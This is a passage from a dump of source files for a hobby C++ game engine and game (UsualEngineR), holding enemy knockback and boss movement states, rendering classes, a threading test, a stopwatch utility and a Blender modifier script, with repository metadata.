e->GetIK(TO_INT(Zako_LongDistanceMachine::EIK::Foot1));\n\t\tm_ik[i++] = e->GetIK(TO_INT(Zako_LongDistanceMachine::EIK::Foot2));\n\t\tm_ik[i++] = e->GetIK(TO_INT(Zako_LongDistanceMachine::EIK::Foot3));\n\t\tm_ik[i++] = e->GetIK(TO_INT(Zako_LongDistanceMachine::EIK::Foot4));\n\t\tfor (auto ik : m_ik)\n\t\t{\n\t\t\tif (ik == nullptr)\n\t\t\t\tcontinue;\n\t\t\tik->SetIKMode(IK::enMode_NoAnimHit);\n\t\t}\n\t}\n\tm_velocityXZ = e->GetKnockBackImpulse();\n\tm_velocityY = 0.f;\n\tm_isNoBlown = false;\n\tif (m_velocityXZ.y != 0.f)\n\t\tm_velocityY = max(m_velocityXZ.y / 10.f, 60.f);\n\telse\n\t{\n\t\tm_grav = 5.f;\n\t\tm_isNoBlown = true;\n\t}\n\tm_velocityXZ.y = 0.f;\n\tm_velocityXZ *= 0.1f;\n\tfloat xzLen = m_velocityXZ.Length();\n\tif (xzLen == 0.f)\n\t{\n\t\tm_velocityXZ = Vector3::Zero;\n\t}\n\telse if (xzLen < 60)\n\t{\n\t\tm_velocityXZ /= xzLen;\n\t\tm_velocityXZ *= 60.f;\n\t}\n\tm_timer = 0.f;\n\tm_isTakeOff = m_isNoBlown;\n\tm_isTakeOn = false;\n\n\te->RemoveRigidBody();\n\n\tauto epos = e->GetPosition();\n\t\n\tauto b = m_body->GetBody();\n\t//b->getWorldTransform().setOrigin({ epos.x,epos.y+5.f ,epos.z });\n\tbtTransform tra;\n\tene->GetMotionState().getWorldTransform(tra);\n\t//tra.setOrigin({ epos.x,epos.y + 10.f ,epos.z });\n\t//ene->GetMotionState().setWorldTransform(tra);\n\t\n\tfloat poww = 1;\n\t//b->setAngularVelocity({ m_velocityXZ.x, m_velocityY , m_velocityXZ.z});\n\t\n\t\n\t//b->setAngularFactor(3);\n\tb->applyCentralImpulse({ m_velocityXZ.x * poww, m_velocityY * poww, m_velocityXZ.z * poww });\n\t//b->applyCentralForce({ m_velocityXZ.x * poww, m_velocityY * poww, m_velocityXZ.z * poww });\n\tb->setGravity({ 0,-160,0 });\n\t\n\t\n\tauto ppos = GameManager::GetInstance().GetPlayer()->GetPosition();\n\t//b->applyImpulse({ m_velocityXZ.x, m_velocityY, m_velocityXZ.z }, { ppos.x,ppos.y ,ppos.z });\n\t\n\t//b.\n}\n\nIEnemyState* EnemyLongDistanceBlownState::Update(IEnemy* e)\n{\n\tif (m_timer >= m_timeLimit && !m_isPlayEffect)\n\t{\n\t\tm_effect->SetPos(e->GetPosition());\n\t\tm_effect->Play();\n\t\tm_isPlayEffect = true;\n\t\t//”š”\n\t\tCSoundSource* se = NewGO<CSoundSource>(0, \"Punch\");\n\t\tse->Init(L\"Assets/sound/mini_Explosion.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(0.1f);\n\t}\n\t\n\tfloat dtime = gameTime()->GetDeltaTime();\n\n\tauto ve = Vector3{ m_velocityXZ.x ,m_velocityY ,m_velocityXZ.z };\n\n\t\n\t{\n\t\t//m_ik[0]->SetVelocity(ve);\n\t\t//m_ik[1]->SetVelocity(ve);\n\t\tfor (auto ik : m_ik)\n\t\t{\n\t\t\tif (ik == nullptr)\n\t\t\t\tcontinue;\n\t\t\tik->SetVelocity(ve);\n\t\t}\n\t}\n\n\n\tauto b = m_body->GetBody();\n\t//DebugPrintVector3(EDebugConsoloUser::NOMOTO, b->getGravity());\n\t//b->applyDamping(dtime);\n\t//b->applyGravity();\n\tauto epos = e->GetPosition();\n\tm_effect->SetPos(epos);\n\t//b->applyImpulse({ m_velocityXZ.x, m_velocityY, m_velocityXZ.z }, { epos.x,epos.y ,epos.z });\n\n\n\tif (m_isTakeOff && e->IsOnGround())\n\t{\n\t\tm_isTakeOn = true;\n\t\te->SetExternalVelocity(Vector3::Zero);\n\t}\n\tif (!m_isTakeOn || (/*!m_ikList[TO_INT(IEnemy::EnIK::enChest)]->IsHit() &&*/ m_isNoBlown))\n\t\te->SetExternalVelocity(ve);\n\n\n\tif (!m_isTakeOff && !e->IsOnGround())\n\t\tm_isTakeOff = true;\n\n\n\tm_velocityY -= m_grav * dtime;\n\tm_timer += dtime;\n\n\treturn this;\n}\n\nvoid EnemyLongDistanceBlownState::Exit(IEnemy* e)\n{\n}\n\n"
},
{
"alpha_fraction": 0.5872156023979187,
"alphanum_fraction": 0.5985915660858154,
"avg_line_length": 14.016260147094727,
"blob_id": "4cdffe5d91e70042b268ccb99951ae7dae6d5a35",
"content_id": "6eeedf12b7f53cefb7ce4d1bcf310340304eed91",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2032,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 123,
"path": "/UsualEngineR/Graphics/SpriteRender.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass SpriteRender :public GameObject\n\t{\n\tprivate:\n\t\tenum class ECameraMode : char\n\t\t{\n\t\t\tUsual,\n\t\t\tView,\n\t\t\tRotate,\n\t\t};\n\tpublic:\n\t\tSpriteRender() {};\n\t\t~SpriteRender() {};\n\t\tvirtual void Release() override;\n\t\tvoid OnDestroy();\n\n\t\tvoid Init(const SpriteInitData& sid);\n\n\t\tvoid Update();\n\n\t\tvoid PostRender() override;\n\n\t\t/*\n\t\t\tmPositionにセットする\n\t\t*/\n\t\tvoid SetPos(const Vector3& pos)\n\t\t{\n\t\t\tmPosition = pos;\n\t\t}\n\t\t\n\t\t/*\n\t\t\tmRotationにセットする\n\t\t*/\n\t\tvoid SetRot(const Quaternion& rot)\n\t\t{\n\t\t\tmRotation = rot;\n\t\t}\n\n\t\t/*\n\t\t\tmScaleにセットする\n\t\t*/\n\t\tvoid SetSca(const Vector3& sca)\n\t\t{\n\t\t\tmScale = sca;\n\t\t}\n\t\t/*\n\t\t\tpivotにセットする\n\t\t*/\n\t\tvoid SetPivot(const Vector2& pi)\n\t\t{\n\t\t\tmPivot = pi;\n\t\t}\n\t\t/*\n\t\t\tmPositionをゲットする\n\t\t*/\n\t\tconst Vector3& GetPos() const\n\t\t{\n\t\t\treturn mPosition;\n\t\t}\n\n\t\t/*\n\t\t\tmRotationをゲットする\n\t\t*/\n\t\tconst Quaternion& GetRot() const\n\t\t{\n\t\t\treturn mRotation;\n\t\t}\n\n\t\t/*\n\t\t\tmScaleをゲットする\n\t\t*/\n\t\tconst Vector3& GetSca() const\n\t\t{\n\t\t\treturn mScale;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// メインカメラの行列を使用する\n\t\t/// </summary>\n\t\tvoid MainCameraView()\n\t\t{\n\t\t\t//m_isMainCameraView = true;\n\t\t\tm_camMode = ECameraMode::View;\n\t\t}\n\t\t/// <summary>\n\t\t/// 3dカメラの回転だけに適応。\n\t\t/// </summary>\n\t\tvoid CameraScaleLock()\n\t\t{\n\t\t\tmSprite.ViewScaleLock();\n\t\t}\n\t\t/// <summary>\n\t\t/// \n\t\t/// </summary>\n\t\tvoid Mode_BillBord()\n\t\t{\n\t\t\tm_isBillBord = true;\n\t\t}\n\n\t\tvoid SetMulColor(const Vector4& v)\n\t\t{\n\t\t\tm_mulColor = v;\n\t\t}\n\tprivate:\n\t\tSprite mSprite;\t\t\t\t\t\t\t\t\t\t\t//スプライト\n\t\tVector3 mPosition = g_vec3Zero;\t\t\t\t\t//ポジション\n\t\tQuaternion mRotation = g_quatIdentity;\t\t//ローテーション\n\t\tVector3 mScale = g_vec3One;\t\t\t\t\t\t//スケール\n\t\tVector2 mPivot = {0.5f,0.5f};\t\t\t\t\t\t\t//ピボット\n\t\tVector4 m_mulColor = { 1,1,1,1 };\n\n\t\tbool m_isInited = false;\n\t\tbool m_isUpdated = false;\n\n\t\tbool m_isMainCameraView = false;\n\t\tECameraMode m_camMode = ECameraMode::Usual;\n\t\tbool m_isBillBord = false;\n\t};\n}"
},
{
"alpha_fraction": 0.6954464912414551,
"alphanum_fraction": 0.7365463972091675,
"avg_line_length": 32.83000183105469,
"blob_id": "bd74d3ed45f5bfc49a4d349209c308d1577acb1e",
"content_id": "628519163d88077b51cd2b9dfa780b2b7d13e1f7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3432,
"license_type": "no_license",
"max_line_length": 111,
"num_lines": 100,
"path": "/UsualEngineR/Graphics/PostEffect/FocusBlur.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"FocusBlur.h\"\n\n\nnamespace UER\n{\n\tvoid FocusBlur::Init()\n\t{\n\t\tm_constBuff.Init(sizeof(BlurData));\n\t\tfloat cc[] = { 1,1,1,0 };\n\t\tm_rt.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, cc);\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP\n\t\t);\n\n\t\tm_descHeap.RegistConstantBuffer(0, m_constBuff);\n\t\tm_descHeap.RegistShaderResource(0, g_graphicsEngine->GetCurrentRenderTarget()->GetRenderTargetTexture());\n\t\tm_descHeap.Commit();\n\n\t\tm_vs.LoadVS(L\"Assets/shader/FocusBlur.fx\", \"VSMain\");\n\t\tm_ps.LoadPS(L\"Assets/shader/FocusBlur.fx\", \"PSMain\");\n\n\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\t\tCD3DX12_RASTERIZER_DESC rastDesc(D3D12_DEFAULT);\n\t\tD3D12_BLEND_DESC blendDesc;\n\t\tblendDesc.AlphaToCoverageEnable = FALSE;\n\t\tblendDesc.IndependentBlendEnable = FALSE;\n\t\tD3D12_RENDER_TARGET_BLEND_DESC rtblenddesc;\n\t\trtblenddesc =\n\t\t{\n\t\t\tFALSE,FALSE,\n\t\t\tD3D12_BLEND_ONE,D3D12_BLEND_ONE,D3D12_BLEND_OP_ADD,\n\t\t\tD3D12_BLEND_ONE,D3D12_BLEND_ONE,D3D12_BLEND_OP_ADD,\n\t\t\tD3D12_LOGIC_OP_NOOP,\n\t\t\tD3D12_COLOR_WRITE_ENABLE_ALL\n\t\t};\n\t\tfor (auto& blend : blendDesc.RenderTarget)\n\t\t{\n\t\t\tblend = rtblenddesc;\n\t\t}\n\t\t//パイプラインステートを作成。\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = rastDesc;\n\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\tpsoDesc.BlendState = blendDesc;\n\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D32_FLOAT;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\tm_pipState.Init(psoDesc);\n\n\t\tTexture* texs[] = { &m_rt.GetRenderTargetTexture() };\n\t\tm_texCopy.Init(texs, TextureCopy::BlendMethod::BM_Trans);\n\t}\n\n\tvoid FocusBlur::Render(RenderContext& rc,const Primitive& prim)\n\t{\n\t\tm_blurData.time += gameTime()->GetDeltaTime();\n\t\tm_constBuff.CopyToVRAM(m_blurData);\n\n\t\tauto mainRT = g_graphicsEngine->GetCurrentRenderTarget();\n\t\trc.WaitUntilFinishDrawingToRenderTarget(*mainRT);\n\t\trc.WaitUntilToPossibleSetRenderTarget(m_rt);\n\n\t\tD3D12_VIEWPORT vp{ 0,0,FRAME_BUFFER_W,FRAME_BUFFER_H,0,1 };\n\t\trc.SetViewport(vp);\n\t\t\n\t\tRenderTarget* rts[] = { &m_rt };\n\t\trc.SetRenderTargets(1, rts);\n\n\t\trc.SetRootSignature(m_rootSign);\n\t\trc.SetDescriptorHeap(m_descHeap);\n\t\trc.SetPipelineState(m_pipState);\n\n\t\tprim.Draw(rc);\n\t\t\n\t\trc.WaitUntilFinishDrawingToRenderTarget(m_rt);\n\t\trc.WaitUntilToPossibleSetRenderTarget(*mainRT);\n\t\tm_texCopy.Render(rc, *mainRT, prim);\n\t}\n}"
},
{
"alpha_fraction": 0.6772212982177734,
"alphanum_fraction": 0.6865912675857544,
"avg_line_length": 24.162601470947266,
"blob_id": "01c60f19debcdcbf94ff07d22b7dced5a95c3ac6",
"content_id": "22e17b6b6db773b3ff6288d01fc3d51269800ec5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3447,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 123,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanTakeDistanceState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanTakeDistanceState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n\nBoss_FatmanTakeDistanceState::Boss_FatmanTakeDistanceState()\n{\n\tm_sphereCollider.Create(m_radius);\n}\n\nBoss_FatmanTakeDistanceState::~Boss_FatmanTakeDistanceState()\n{\n}\n\nvoid Boss_FatmanTakeDistanceState::Enter(IEnemy* e)\n{\n\tconst auto& rot = Boss_Fatman::EnemyToPlayerRotation(e, false);\n\te->GetModel()->SetRotation(rot);\n\t\n\te->PlayAnimation(TO_INT(Boss_Fatman::EnAnimEX::enbackStep));\n\t\n\tCSoundSource* se = NewGO<CSoundSource>(0);\n\tse->Init(L\"Assets/sound/boss_fatman/backstep.wav\");\n\tse->Play(false);\n}\n\nIEnemyState* Boss_FatmanTakeDistanceState::Update(IEnemy* e)\n{\n\t//モデルの回転。\n\te->GetModel()->SetRotation(Boss_Fatman::EnemyToPlayerRotation(e));\n\n\t//計算のためのデータ。\n\tauto& p = GameManager::GetInstance().m_player;\n\tconst auto& epos = e->GetPosition();\n\tconst auto& ppos = p->GetPosition();\n\tauto vecToBoss = epos - ppos;\n\tfloat distance = vecToBoss.Length();\n\t\n\t//距離をとれているか判定。\n\tif (std::abs(distance) > Boss_Fatman::TAKE_DISTANCE){\n\t\te->SetVelocity(Vector3::Zero);\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\n\tCell* longDistLinkCell = nullptr;\t//一番長い距離の隣接セル。\n\tif (!m_isArrival) {\n\t\t//ボスに一番近いセルを調査。\n\t\tauto allCell = GameManager::GetInstance().m_nvm.GetCell();\n\t\tVector3 enemyDiff = allCell[0]->centerPos - epos;\n\t\tCell* bossCell = allCell[0];\t//ボスに一番近いセル。\n\t\tfor (auto& all : allCell)\n\t\t{\n\t\t\t//newEnemyDiffの更新\n\t\t\tVector3 newEnemyDiff = all->centerPos - epos;\n\n\t\t\t//enemyから一番近いセルを求める\n\t\t\t//enemyDiffより距離が短いセルがあったら\n\t\t\tif (enemyDiff.Length() > newEnemyDiff.Length())\n\t\t\t{\n\t\t\t\t//差とセルを登録\n\t\t\t\tenemyDiff = newEnemyDiff;\n\t\t\t\tbossCell = all;\n\t\t\t}\n\t\t}\n\n\t\t//ボスのいるセルの隣接セルからプレイヤーまで\n\t\t//一番長い距離の隣接セルを調べる。\n\t\tconst int vertexNum = 3;\t\t//セルの頂点の数。\n\t\tint startCellNo;\n\t\t//初期設定。\n\t\tfor (int i = 0; i < vertexNum; i++) {\n\t\t\tif (bossCell->linkCells[i] != NULL) {\n\t\t\t\tlongDistLinkCell = bossCell->linkCells[i];\n\t\t\t\tstartCellNo = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t//調査開始。\n\t\tfor (int i = startCellNo + 1; i < vertexNum; i++) {\n\t\t\tauto vec1 = longDistLinkCell->centerPos - ppos;\n\t\t\tfloat dist1 = vec1.Length();\n\n\t\t\tVector3 vec2;\n\t\t\tif (bossCell->linkCells[i] != NULL) {\n\t\t\t\tvec2 = bossCell->linkCells[i]->centerPos - ppos;\n\t\t\t}\n\t\t\tfloat dist2 = vec2.Length();\n\n\t\t\tif (dist1 < dist2) {\n\t\t\t\tlongDistLinkCell = bossCell->linkCells[i];\n\t\t\t}\n\t\t}\n\t\tm_isArrival = true;\n\t\tm_longDistLinkCell = longDistLinkCell;\n\t}\n\n\t//移動。\n\tVector3 vecBossToCell = m_longDistLinkCell->centerPos - epos;\n\tconst float\tARRIVAL_DISTANCE =\t5.0f;\t\t//到着したかどうか判定するための距離。\n\tfloat length = vecBossToCell.Length();\n\tif (length > ARRIVAL_DISTANCE) {\n\t\tvecBossToCell.Normalize();\n\t\tconst float applyMovespeed = 80.0f;\n\t\tVector3 movespeed = vecBossToCell * applyMovespeed;\n\t\tVector3 diff = m_longDistLinkCell->centerPos - epos;\n\t\te->SetVelocity(movespeed);\n\t}\n\telse {\n\t\tm_isArrival = false;\n\t\tm_count++;\n\t\te->SetVelocity(Vector3::Zero);\n\t\tif (m_count >= 3) {\n\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t\t}\n\t}\n\t\n\treturn this;\n}\n\nvoid Boss_FatmanTakeDistanceState::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.5998156070709229,
"alphanum_fraction": 0.6145689487457275,
"avg_line_length": 17.226890563964844,
"blob_id": "a8da9c352290b0cafd65b5df139fddefc8cc56a6",
"content_id": "1ba658cdc2f1f70c9545645bbc03feeeb320b3df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2253,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 119,
"path": "/Game/Test/ThreadTest.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"ThreadTest.h\"\n\n\n\nvoid ThreadTest::Release()\n{\n\tif (m_thread.get() != nullptr)\n\t{\n\t\tm_thread->join();\n\t\t\n\t}\n\tif (m_thread_2)\n\t{\n\t\tm_thread_2->join();\n\t\tdelete m_thread_2;\n\t}\n}\n\nvoid ThreadTest::OnDestroy()\n{\n}\n\nstatic std::vector<double> thretime;\nvoid ThreadTest::Awake()\n{\n\tm_thread = std::make_unique < std::thread>([&]()\n\t\t{\n\t\t\tStopwatch sw;\n\t\t\tsw.Start();\n\n\t\t\t//auto cont = gCount.Get();\n\t\t\t//cont.Get() += 3;\n\t\t\t//Sleep(5000);\n\n\t\t\tModelInitData mid;\n\t\t\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\t\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\t\t\tmid.m_tkmFilePath = \"Assets/modelData/unityChan.tkm\";\n\t\t\tmid.m_tksFilePath = \"Assets/modelData/unityChan.tks\";\n\n\t\t\t\n\t\t\t\n\t\t\tm_model = NewGO<ModelRender>(0);\n\t\t\tm_model->Init(mid);\n\t\t\tm_model->SetScale(g_vec3One * 0.05 * 1.5);\n\t\t\tm_isOK = true;\n\n\t\t\tthretime.push_back(sw.Stop());\n\t\t});\n\n\tm_thread_2 = new std::thread([&]()\n\t\t{\n\t\t\tStopwatch sw;\n\t\t\tsw.Start();\n\n\t\t\t//auto c = gCount.Get();\n\t\t\t//c.Get() += 4;\n\n\t\t\tModelInitData mid;\n\t\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\t\t\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\t\t\t\n\t\t\tm_model_1 = NewGO<ModelRender>(0);\n\t\t\tm_model_1->Init(mid);\n\t\t\tm_model_1->SetScale(g_vec3One * 1.5);\n\n\t\t\tthretime.push_back(sw.Stop());\n\t\t});\n\n\tm_threadObj.Execute([&]()\n\t\t{\n\t\t\tStopwatch sw;\n\t\t\tsw.Start();\n\n\t\t\t//auto c = gCount.Get();\n\t\t\t//c.Get() += 2;\n\n\t\t\tModelInitData mid;\n\t\t\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\t\t\tmid.m_vsEntryPointFunc = \"VSMain\";\n\t\t\tmid.m_psEntryPointFunc = \"PSMain\";\n\t\t\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\n\t\t\t\n\t\t\tm_model_2 = NewGO<ModelRender>(0);\n\t\t\tm_model_2->Init(mid);\n\t\t\tm_model_2->SetScale(g_vec3One * 1.7);\n\n\t\t\tthretime.push_back( sw.Stop());\n\t\t});\n}\n\nbool ThreadTest::Start()\n{\n\t\n\treturn true;\n}\n\nvoid ThreadTest::Update()\n{\n\n\tif (m_threadObj.IsEnd())\n\t{\n\t\t//終わったので開放。テストだからやっているけど、べつにここまで神経質にやる必要はない。\n\t\tm_threadObj.Release();\n\t}\n\n\tif (m_isOK && !m_isEndThred)\n\t{\n\t\tm_thread->detach();\n\t\tm_thread.release();\n\t\tm_thread = nullptr;\n\t\tm_isEndThred = true;\n\t}\n}\n"
},
{
"alpha_fraction": 0.7211837768554688,
"alphanum_fraction": 0.732087254524231,
"avg_line_length": 19.677419662475586,
"blob_id": "2899994a80e84c99a284ba664d0261dc6ed6b615",
"content_id": "91e2c68b9b44db5f7d22765ce3feb6a691b5c07d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 642,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 31,
"path": "/Game/Player/Attack/PlayerAttackSlash.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerAttack.h\"\n\nclass PlayerAttackSlash : public IPlayerAttack\n{\npublic:\n\tPlayerAttackSlash();\n\tvirtual ~PlayerAttackSlash() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override{\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override{\n\t\treturn m_interval;\n\t}\n\tvirtual const bool IsContinueAttack() override{\n\t\treturn m_isContinuAttack;\n\t}\nprivate:\n\tbool m_isDone = false;\n\tbool m_isContinuAttack = false;\n\tconst float m_interval = 0.5f;\n\tfloat m_timer = 0.f;\n\n\tfloat m_range = 50.f;\n\tfloat m_damageAmount = 15.f;\n};\n\n"
},
{
"alpha_fraction": 0.629987895488739,
"alphanum_fraction": 0.629987895488739,
"avg_line_length": 15.215685844421387,
"blob_id": "decb6d5e9ab1311273d5904ac5975146c4ac33e3",
"content_id": "15a7e7a96c51e5429baed2a6e695edafbf24bdad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1129,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 51,
"path": "/Game/GameDebugger.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass GameDebugger :public GameObject\n{\npublic:\n\tGameDebugger();\n\tvirtual ~GameDebugger();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\nprivate:\n\n};\n"
},
{
"alpha_fraction": 0.5695364475250244,
"alphanum_fraction": 0.5920529961585999,
"avg_line_length": 12.745454788208008,
"blob_id": "277876e911c6fb1033d73d812e6d8ed2f386770a",
"content_id": "e5f5577c182fcca331ddc216dcfc3877a5d08d2b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 755,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 55,
"path": "/UsualEngineR/util/Stopwatch.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass Stopwatch\n\t{\n\tpublic:\n\t\tStopwatch()\n\t\t{\n\n\t\t}\n\t\t~Stopwatch()\n\t\t{\n\n\t\t}\n\n\t\tvoid Start()\n\t\t{\n\t\t\t::QueryPerformanceCounter((LARGE_INTEGER*)&m_begin);\n\t\t}\n\t\tdouble Stop()\n\t\t{\n\t\t\t::QueryPerformanceFrequency((LARGE_INTEGER*)&m_frec);\n\t\t\t::QueryPerformanceCounter((LARGE_INTEGER*)&m_end);\n\t\t\tm_sec = double(m_end - m_begin) / m_frec;\n\t\t\tm_millSec = m_sec * 1000.;\n\t\t\tm_micrSec = m_millSec * 1000.;\n\n\t\t\treturn m_sec;\n\t\t}\n\n\t\tdouble GetSec()\n\t\t{\n\t\t\treturn m_sec;\n\t\t}\n\t\tdouble GetMillSec()\n\t\t{\n\t\t\treturn m_millSec;\n\t\t}\n\t\tdouble GetMicrSec()\n\t\t{\n\t\t\treturn m_micrSec;\n\t\t}\n\n\tprivate:\n\t\tLONGLONG m_frec = 0;\n\t\tLONGLONG m_begin = 0;\n\t\tLONGLONG m_end = 0;\n\n\t\tdouble m_sec = 0.0;\n\t\tdouble m_millSec = 0.0;\n\t\tdouble m_micrSec = 0.0;\n\t};\n}"
},
{
"alpha_fraction": 0.7171216011047363,
"alphanum_fraction": 0.7196030020713806,
"avg_line_length": 25.933332443237305,
"blob_id": "772dcdd41c199efd8a2dca0eaa4de168bca78405",
"content_id": "9083a4d4385b0add4680578fe16373a4a97ea79c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 403,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 15,
"path": "/Game/Assets/SAGYO/map/ModifierAllApply.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\nimport bpy\n\nobj = bpy.context.selected_objects\n\n\nfor o in obj:\n # set the object to active\n bpy.context.view_layer.objects.active = o\n\n # this operator will 'work' or 'operate' on the active object we just set\n #bpy.ops.object.modifier_apply(modifier=\"Subdivision\")\n #bpy.ops.object.modifier_apply(modifier=\"Displace\")\n bpy.ops.object.modifier_apply(modifier=\"Decimate\")"
},
{
"alpha_fraction": 0.7015873193740845,
"alphanum_fraction": 0.7092970609664917,
"avg_line_length": 25.57831382751465,
"blob_id": "f748a496e4359d9f0849e07289d269e9c7438c0c",
"content_id": "797db96bb5e9dd16f263813a84f4470c314849fe",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2205,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 83,
"path": "/Game/Player/Attack/DistantPreset/PlayerAttackHipShot.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
